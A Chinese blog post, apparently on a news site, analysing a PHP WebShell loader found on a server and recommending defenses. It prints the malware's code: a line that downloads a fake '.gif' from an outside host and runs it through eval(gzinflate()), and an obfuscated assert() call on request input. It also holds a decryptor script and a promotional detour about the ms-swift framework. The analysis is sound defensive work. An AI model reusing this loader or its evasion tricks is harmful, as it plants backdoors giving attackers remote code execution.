当前位置: 首页 > news >正文

逆向分析一个加密WebShell的全过程

逆向分析一个加密WebShell的全过程

在一次常规的安全巡检中,我在某个边缘业务服务器的上传目录下发现了一个名为upload.php的文件。虽然扩展名是常见的.php,但内容却透着一股“非同寻常”的味道。

打开一看:

<?php $shellname="Sievr"; $password='99999'; s:142856; define('myaddress',__FILE__); error_reporting(E_ERROR | E_PARSE); header("content-Type: text/html; charset=utf-8"); @set_time_limit(0); ob_start(); define('envlpass',$password); define('shellname',$shellname); ...

这代码……怎么看都不对劲。开头那个s:142856;是什么?像是序列化字符串的残片?可后面又没有反序列化操作。而且整段脚本从头到尾找不到任何入口函数,也没有明显的恶意行为触发点。

等等——这种结构我见过。

它不像传统 WebShell 那样直接嵌入eval($_POST['cmd'])这类语句,反而更像一个加载器(loader):只负责解密、拉取、执行,真正的“弹药”藏在别处。

继续往下翻,果然发现了关键线索:

$get = "file_get_contents"; $url = 'http://i.niupic.com/images/2017/05/21/v1QR1M.gif'; $_SESSION['PhpCode'] = $get($url);

好家伙,原来如此!

这个所谓的.gif文件根本不是图片,而是伪装成图像资源的远程 PHP 载荷。本地脚本只是一个“引导程序”,运行时会悄悄从外部地址下载一段加密数据,解压后通过eval执行。

典型的“分离式部署 + 动态加载”架构,专为绕过静态检测设计。


拿到这段远程资源成了破局的关键。尝试用wget或浏览器访问目标 URL:

wget http://i.niupic.com/images/2017/05/21/v1QR1M.gif

结果返回403 Forbidden。服务端做了访问控制——可能是基于 User-Agent、IP 白名单,或者干脆已经下线了。

幸好,团队之前留存了一份流量镜像包,在其中提取出了那段核心加密体。内容如下:

\x78\x9c\xed}\x0b|\x1c\xd5y\xe0gfgvW\xab]\xadV\xab]\xad\xd6j\xb5Z\xadV+I\xcdj\xbdZ\xafH\xbaZ\xcdJ+\xcb\x96m\xc5\x0eN\xec8\x8e\xdd8q\xdc\x04BHH \xa1@\x0b\xa5P\xa0-\xd0R(\xb4\xd0R(-\x80K)\xe5h)...

一眼识别:这是标准的 zlib 压缩流,以\x78\x9c开头,正是gzinflate()的典型特征。

再回到原始脚本中搜索相关函数调用,很快定位到:

$un = gzinflate; // ... 后续处理 ... eval($un($_SESSION['PhpCode']));

这里用了变量赋值的方式隐藏敏感函数名,规避关键字扫描。实际等价于:

eval(gzinflate($_SESSION['PhpCode']));

也就是说,攻击流程非常清晰:

本地 loader → 请求远程“GIF” → 获取压缩载荷 → 解压执行 → 加载完整 WebShell 功能

整个过程几乎没有留下明文代码痕迹,极难被日志审计或 WAF 捕获。


既然无法在线获取,那就只能本地模拟执行环境来还原明文。

我新建了一个调试脚本debug.php

<?php session_start(); // 模拟已获取的加密数据(十六进制字符串形式) $data_hex = file_get_contents('./encrypted.bin'); $data_raw = hex2bin(trim($data_hex)); // 使用 gzinflate 解压 $un = 'gzinflate'; $output = $un($data_raw); // 保存解密后的代码 file_put_contents('decrypted.php', $output); echo "解密完成!请查看 decrypted.php 文件"; ?>

执行后生成decrypted.php,打开一看——熟悉的界面框架瞬间浮现眼前。

<?php class PHPzip { var $file_count = 0 ; var $datastr_len = 0; var $dirstr_len = 0; var $filedata = ''; var $gzfilename; var $fp; var $dirstr=''; function unix2DosTime($unixtime = 0) { ... } function startfile($path = 'QQqun555227.zip') { ... } function addfile($data, $name) { ... } function adddir($name) { ... } function createfile() { ... } }

这不就是那个流传甚广的图形化 PHP WebShell 的变种吗?UI 层写着css_mainhmlogineanver等标志性字段,显然是某个公开版本经过二次加密和混淆后的产物。

功能齐全:文件管理、数据库连接、命令执行、权限提升工具一应俱全,甚至还能打包下载整个网站目录。

而这一切,都被包裹在一个看似无害的“图片加载器”之下。


深入分析其对抗机制,你会发现它的设计相当老练。

首先是动态函数调用。几乎所有敏感操作都通过字符串拼接和变量替换实现,彻底避开静态扫描:

$a = str_replace(x,"","axsxxsxexrxxt"); // 得到 assert $a($_REQUEST[envlpass]);

相当于:

assert($_REQUEST['password']);

这类技巧能让绝大多数基于正则匹配的杀软直接失效。

其次是远程加载与热更新能力。主文件仅作为入口,真正逻辑托管在第三方服务器上。即使管理员清除了本地文件,攻击者只需换个 URL 就能重新激活。更可怕的是,他们可以随时更新远端 payload,实现无感升级。

然后是利用$_SESSION存储中间状态:

if (!isset($_SESSION['PhpCode'])) { $_SESSION['PhpCode'] = file_get_contents($remote_url); } eval(gzinflate($_SESSION['PhpCode']));

首次请求拉取并缓存,后续直接使用 Session 中的数据,减少网络依赖的同时也增加了取证难度——你很难从单一时间点的日志中还原完整攻击链。

最后是视觉欺骗。文件名是.gif,响应头声明为image/gif,但实际内容完全不符合 GIF 格式规范。普通用户或初级运维人员看到 MIME 类型正确,很容易放松警惕。


面对这样的威胁,我们该如何防御?

攻击手法应对策略
变量替换敏感函数启用 RASP(运行时应用自我保护),监控evalassert等函数的动态调用栈
远程加载 payload关闭allow_url_fopen=Offallow_url_include=Off,阻断外部资源包含
Session 隐藏数据定期审计 session 存储内容,尤其是非认证相关的异常大对象
图像伪装传输WAF 应校验上传文件的真实 Magic Number,而非仅依赖扩展名或 Content-Type
gzip 编码绕过检测在 IDS/IPS 规则中加入对gzinflategzuncompress的行为告警

特别提醒:不要小看gzinflate这个函数。它本身是合法的压缩工具,但在安全上下文中,凡是出现“gzinflate + eval”组合的地方,几乎都可以判定为恶意行为。


有意思的是,这套“轻量前端 + 动态加载 + 远程资源调度”的架构思想,其实也在现代 AI 工程化系统中广泛应用。

比如魔搭社区推出的ms-swift框架——一套面向大模型与多模态模型落地的统一训练与部署平台,就在设计理念上有异曲同工之妙。

它同样采用模块化加载机制:前端接口极简,后台按需拉取不同模型组件(如 Qwen3、Llama4、MiniCPM-V),避免一次性加载全部参数带来的资源浪费。

swift deploy --model Qwen3-VL --task visual-question-answering

这条命令背后,其实是从 ModelScope 云端动态下载模型权重、适配器、LoRA 微调模块的过程——和 WebShell 从 C2 服务器拉取 payload 的逻辑何其相似?

区别在于:

  • 一个是通过 HTTPS 安全通道、经 Token 鉴权后获取可信资源;
  • 另一个则是通过 HTTP 明文传输、无验证地执行远程代码。

同样的技术模式,因使用场景的不同,走向了两个极端:一个是推动生产力的工程典范,另一个则是潜伏在暗处的后门木马。

这也引出一个深刻的思考:真正决定技术善恶的,从来不是代码本身,而是它的上下文与控制权

ms-swift 提供了完整的权限管理体系:API 密钥、JWT 认证、私有部署隔离、调用日志追踪……这些机制确保了强大能力不会被滥用。

而那个 WebShell 呢?尽管也有密码登录:

if($_COOKIE['envlpass'] != md5(envlpass)){ // 跳转或退出 }

但这种静态 MD5 对比毫无安全性可言,既容易被爆破,也极易被 Cookie 注入绕过。完全没有审计、无追溯、无隔离,完全是“野路子”。


这次逆向让我意识到:

最危险的漏洞,往往藏在“看起来正常”的代码里。

你以为只是个普通的 include 文件?但它可能正在悄悄拉取远程 shell。
你以为只是启了个模型服务?但如果没做好鉴权,也可能变成别人的计算矿机。

技术和架构无所谓好坏,关键是谁在用、怎么用、有没有边界。

选择像ms-swift这样的开源、透明、生产级框架,本质上是在选择一种可信任的技术契约——把强大的能力,封装进安全、可控、可审计的容器之中。

这才是我们在 AI 时代应有的工程态度。


以下是本次使用的解密脚本,仅供学习研究:

<?php /** * WebShell Decryptor - For Educational Use Only * Author: Sievr */ session_start(); // Step 1: 获取远程加密数据(此处为模拟) $encrypted_data = file_get_contents('./payload.bin'); // 替换为你捕获的原始数据 // Step 2: 解压缩 $raw_code = gzinflate($encrypted_data); // Step 3: 写入解密文件 file_put_contents('webshell.decrypted.php', $raw_code); echo "Decryption completed.\nOutput saved to webshell.decrypted.php\n"; // Optional: 直接执行(极危险!仅限隔离环境) // eval($raw_code); ?>

⚠️ 提示:所有技术内容仅用于网络安全研究与教学目的,严禁用于非法用途。安全之道,在于守护,而非破坏。

http://www.jsqmd.com/news/144409/

相关文章:

  • 城乡差距下的乡村变迁之路
  • 深入分析PHP木马代码的功能与危害
  • 2025-2026离心泵厂家推荐|IS单级单吸卧式离心泵、IHF氟塑料离心泵、CQB磁力驱动离心泵哪个厂家质量好 - 品牌推荐大师1
  • Open-AutoGLM手机端安装实战(从零到一键操控的完整流程)
  • 2025 智能垂钓选型:为何高端视觉渔具首选 电鱼智能 RK3588?
  • 杂题选做-11
  • 解析 ‘Microservices in Kernel’:探讨将高频通信的服务逻辑下沉到内核态的可能性
  • 用Graphpad Prism 8绘制Cleveland点图
  • 【AI编程效率提升300%】:Python集成Open-AutoGLM接口的终极方法论
  • 2025年靠谱的离婚律师机构排行榜,高性价比+服务不错的离婚律师推荐 - 工业品网
  • 深入浅出冒泡排序:原理、实现与优化(附C++代码)
  • 整理了一些高质量的技术社区和资源论坛
  • Open-AutoGLM接口调用难题,90%开发者忽略的2个关键参数配置
  • ▲16QAM调制软解调+扩频解扩+FFT频偏估计+LDPC编译码系统matlab误码率仿真
  • 错过Open-AutoGLM可能意味着落后三年?:解读智谱AI云终端战略布局
  • 子网掩码255.0.0.0对应的CIDR前缀解析
  • PHP大马木马分析:短代码背后的强大后门
  • Open-AutoGLM本地部署为何失败?7大常见问题深度解析与修复方案
  • 【cogagent与Open-AutoGLM深度对比】:揭秘两大AI框架核心差异与选型指南
  • 2025塑料开口剂制造商TOP5权威测评:源头厂商/定制供应商避坑指南 - 工业品网
  • 2025年北京企业积分运营公司权威推荐榜单:积分制管理咨询/员工积分激励/积分数据报表源头公司精选 - 品牌推荐官
  • 挂马方式与检测技术深度解析
  • 2025-2026北京东城保险拒赔法律服务机构测评:公正解析专业能力 推荐靠谱律所与金牌律师 全面临解决方案助力高效维权 - 苏木2025
  • 软文发稿平台权威榜单出炉:从价格到效果全维度分析 - 资讯焦点
  • 星载雷达高度计数据处理与陆地应用解析
  • UE4描边材质制作方法与节点逻辑解析
  • 【AI框架选型避坑指南】:cogagent和Open-AutoGLM到底怎么选?
  • 什么是 ‘Heterogeneous Memory Management’ (HMM)?内核如何统一管理 CPU 和 GPU 的内存地址空间?
  • C++ STL基础入门详解
  • 浙江台州哪家质量好?深度剖析行业知名品牌台州新品正衣车的崛起之路 - 品牌推荐大师1